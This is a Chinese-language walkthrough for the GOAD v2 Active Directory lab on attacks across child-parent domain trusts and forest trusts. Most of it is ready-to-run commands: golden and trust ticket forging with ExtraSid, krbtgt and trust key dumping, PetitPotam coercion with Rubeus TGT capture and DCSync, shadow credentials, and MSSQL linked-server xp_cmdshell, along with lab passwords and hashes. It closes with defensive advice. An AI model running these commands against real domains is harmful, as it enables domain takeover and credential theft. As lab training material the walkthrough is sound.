域渗透GOAD(Game Of Active Directory) v2(四)
字数 1499 2025-08-25 22:58:34

域渗透GOAD(Game Of Active Directory) v2 域信任与森林信任横向移动技术详解

0x00 前言

本文详细讲解域信任(子域到父域)和森林到森林信任的横向移动技术,基于GOAD v2实验环境。域信任不是安全边界,攻击者可以利用多种技术实现跨域和跨森林的权限提升。

0x01 环境准备与更新

如果部署较早的GOAD环境,需要执行以下更新:

# 更新AD数据
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml -l dc01

# 修改AcrossTheNarrowSea组的ACL,添加对dc01(kingslanding)的genericAll权限
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml -l dc01

# 为DragonRider组添加dc01的内置管理员用户成员
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml -l dc01

# 在sevenkingdoms到essos的信任链接上默认启用SID历史记录
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc01

0x02 信任关系枚举

使用ldeep枚举信任关系

ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.10 trusts
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.12 trusts
  • sevenkingdoms到essos的信任关系是 FOREST_TRANSITIVE | TREAT_AS_EXTERNAL,因为SID history开启了
  • essos到sevenkingdoms的信任关系是 FOREST_TRANSITIVE

对应的LDAP查询语句是:(objectCategory=trustedDomain)

使用BloodHound观测信任关系

使用查询语句:

MATCH p=(n:Domain)--> (m:Domain) RETURN p

可以观察到:

  • north.sevenkingdoms.local和sevenkingdoms.local之间的域双向信任(子/父关系)
  • essos.local和sevenkingdoms.local之间的森林双向信任

0x03 子域到父域攻击技术

方法1:使用Impacket的raiseChild.py一键提权

假设已控制north.sevenkingdoms.local域并获取了NTDS数据:

raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'

该脚本自动完成以下工作:

  1. 获取子域和父域的krbtgt账户信息
  2. 创建包含企业管理员SID的金票
  3. 提升子域到父域权限

方法2:手动创建金票(ExtraSid技术)

步骤1:导出子域krbtgt哈希

secretsdump.py -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11

步骤2:获取子域和父域SID

# 子域SID
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0

# 父域SID
lookupsid.py -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0

步骤3:创建金票

ticketer.py -nthash 550201c2dd93a01f9c8118ae2db60bc8 \
  -domain-sid S-1-5-21-3279614554-4259096442-670903954 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \
  goldenuser

步骤4:使用金票导出父域NTDS

export KRB5CCNAME=goldenuser.ccache
secretsdump.py -k -no-pass -just-dc-ntlm north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local

方法3:信任票据(Trust Ticket)攻击

步骤1:获取信任密钥

secretsdump.py -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11

步骤2:伪造信任票据

ticketer.py -nthash dc328273a32f874ea6e0ad46c6b9db4e \
  -domain-sid S-1-5-21-3279614554-4259096442-670903954 \
  -domain north.sevenkingdoms.local \
  -extra-sid S-1-5-21-1567764229-28288292-3181328809-519 \
  -spn krbtgt/sevenkingdoms.local \
  trustfakeuser

步骤3:使用伪造票据

export KRB5CCNAME=trustfakeuser.ccache
getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local sevenkingdoms.local/trustfakeuser@sevenkingdoms.local -debug

# 或者直接dump父域secrets
secretsdump.py -k -no-pass -just-dc-ntlm trustfakeuser@kingslanding.sevenkingdoms.local

方法4:非约束委派攻击

由于winterfell是域控制器,默认配置为非约束委派:

  1. 使用PetitPotam强制父域DC向子域DC进行身份验证
  2. 使用Rubeus捕获TGT票据
  3. 转换票据格式并使用它进行DCSync
# 在Windows上运行Rubeus监控
.\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1

# 在Linux上强制认证
python PetitPotam.py -u arya.stark -p Needle -d north.sevenkingdoms.local kingslanding.sevenkingdoms.local meereen.essos.local

# 转换并利用捕获的TGT
base64 -d rubeus.b64 > meereen.kirbi
ticketConverter.py meereen.kirbi meereen.ccache
export KRB5CCNAME=meereen.ccache
secretsdump.py -k -no-pass -just-dc-ntlm essos.local/'MEEREEN$'@meereen.essos.local

0x04 森林到森林攻击技术

方法1:密码重用攻击

转储已控制域的NTDS,尝试在外部森林域中找到相同的用户和密码。

方法2:外部组和用户利用

使用BloodHound查询跨域关系:

MATCH p=(a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) 
WHERE (x:Container OR x:OU) AND (y:Container OR y:OU) 
AND (a.name <> b.name) 
AND (tolower(w.samaccountname) <> "enterprise admins" 
AND tolower(w.samaccountname) <> "enterprise key admins" 
AND tolower(z.samaccountname) <> "enterprise admins" 
AND tolower(z.samaccountname) <> "enterprise key admins") 
RETURN p

示例1:sevenkingdoms到essos域(spys组)

# 修改jorah.mormont密码
net rpc password jorah.mormont -U sevenkingdoms.local/petyer.baelish%@littlefinger@ -S meereen.essos.local

# 验证
cme smb 192.168.56.12 -u jorah.mormont -p 'P@ssword123' -d essos.local

示例2:使用影子凭据

# 添加影子凭据
certipy shadow add -u petyer.baelish@sevenkingdoms.local -p '@littlefinger@' -dc-ip 192.168.56.12 -target meereen.essos.local -account 'jorah.mormont'

# 认证
certipy auth -pfx jorah.mormont.pfx -username jorah.mormont -domain essos.local -dc-ip 192.168.56.12

方法3:MSSQL信任链接攻击

  1. 使用特定版本的Impacket连接MSSQL:
git clone https://github.com/SecureAuthCorp/impacket myimpacketmssql
cd myimpacketmssql
git fetch origin pull/1397/head:1397
git merge 1397
conda create -n myimpacketmssql python=3.7.9
conda activate myimpacketmssql
pip install .
  1. 连接并利用信任链接:
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local

# 枚举信任链接
enum_links

# 使用链接执行命令
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami

方法4:SID History金票攻击(仅当SID History启用时有效)

步骤1:获取域SID

# essos SID
lookupsid.py -domain-sids essos.local/daenerys.targaryen:'BurnThemAll!'@meereen.essos.local 0

# sevenkingdoms SID
lookupsid.py -domain-sids essos.local/daenerys.targaryen:'BurnThemAll!'@kingslanding.sevenkingdoms.local 0

步骤2:提取krbtgt哈希

secretsdump.py -just-dc-user 'essos/krbtgt' essos.local/daenerys.targaryen:'BurnThemAll!'

步骤3:创建包含目标森林企业管理员SID的金票

ticketer.py -nthash <krbtgt_nt_hash> \
  -domain-sid <essos_domain_sid> \
  -domain essos.local \
  -extra-sid <sevenkingdoms_domain_sid>-519 \
  goldenuser

0x05 总结

本文详细介绍了多种跨域和跨森林的攻击技术,包括:

  1. 使用Impacket工具一键提权
  2. 手动创建金票(ExtraSid技术)
  3. 信任票据攻击
  4. 非约束委派攻击
  5. 密码重用攻击
  6. 外部组和用户利用
  7. MSSQL信任链接攻击
  8. SID History金票攻击

关键点:

  • 域信任不是安全边界
  • SID History功能极大增加了跨域攻击的风险
  • 非约束委派配置是常见的安全隐患
  • 外部组和密码重用是跨森林攻击的常见突破口
  • 定期轮换krbtgt密码可缓解部分攻击

防御建议:

  • 禁用不必要的信任关系
  • 禁用SID History除非绝对必要
  • 限制外部组的权限
  • 监控异常的身份验证请求
  • 定期轮换krbtgt密码
  • 限制域控制器的非约束委派配置
域渗透GOAD(Game Of Active Directory) v2 域信任与森林信任横向移动技术详解 0x00 前言 本文详细讲解域信任(子域到父域)和森林到森林信任的横向移动技术,基于GOAD v2实验环境。域信任不是安全边界,攻击者可以利用多种技术实现跨域和跨森林的权限提升。 0x01 环境准备与更新 如果部署较早的GOAD环境,需要执行以下更新: 0x02 信任关系枚举 使用ldeep枚举信任关系 sevenkingdoms到essos的信任关系是 FOREST_TRANSITIVE | TREAT_AS_EXTERNAL ,因为SID history开启了 essos到sevenkingdoms的信任关系是 FOREST_TRANSITIVE 对应的LDAP查询语句是: (objectCategory=trustedDomain) 使用BloodHound观测信任关系 使用查询语句: 可以观察到: north.sevenkingdoms.local和sevenkingdoms.local之间的域双向信任(子/父关系) essos.local和sevenkingdoms.local之间的森林双向信任 0x03 子域到父域攻击技术 方法1:使用Impacket的raiseChild.py一键提权 假设已控制north.sevenkingdoms.local域并获取了NTDS数据: 该脚本自动完成以下工作: 获取子域和父域的krbtgt账户信息 创建包含企业管理员SID的金票 提升子域到父域权限 方法2:手动创建金票(ExtraSid技术) 步骤1:导出子域krbtgt哈希 步骤2:获取子域和父域SID 步骤3:创建金票 步骤4:使用金票导出父域NTDS 方法3:信任票据(Trust Ticket)攻击 步骤1:获取信任密钥 步骤2:伪造信任票据 步骤3:使用伪造票据 方法4:非约束委派攻击 由于winterfell是域控制器,默认配置为非约束委派: 使用PetitPotam强制父域DC向子域DC进行身份验证 使用Rubeus捕获TGT票据 转换票据格式并使用它进行DCSync 0x04 森林到森林攻击技术 方法1:密码重用攻击 转储已控制域的NTDS,尝试在外部森林域中找到相同的用户和密码。 方法2:外部组和用户利用 使用BloodHound查询跨域关系: 示例1:sevenkingdoms到essos域(spys组) 示例2:使用影子凭据 方法3:MSSQL信任链接攻击 使用特定版本的Impacket连接MSSQL: 连接并利用信任链接: 方法4:SID History金票攻击(仅当SID History启用时有效) 步骤1:获取域SID 步骤2:提取krbtgt哈希 步骤3:创建包含目标森林企业管理员SID的金票 0x05 总结 本文详细介绍了多种跨域和跨森林的攻击技术,包括: 使用Impacket工具一键提权 手动创建金票(ExtraSid技术) 信任票据攻击 非约束委派攻击 密码重用攻击 外部组和用户利用 MSSQL信任链接攻击 SID History金票攻击 关键点: 域信任不是安全边界 SID History功能极大增加了跨域攻击的风险 非约束委派配置是常见的安全隐患 外部组和密码重用是跨森林攻击的常见突破口 定期轮换krbtgt密码可缓解部分攻击 防御建议: 禁用不必要的信任关系 禁用SID History除非绝对必要 限制外部组的权限 监控异常的身份验证请求 定期轮换krbtgt密码 限制域控制器的非约束委派配置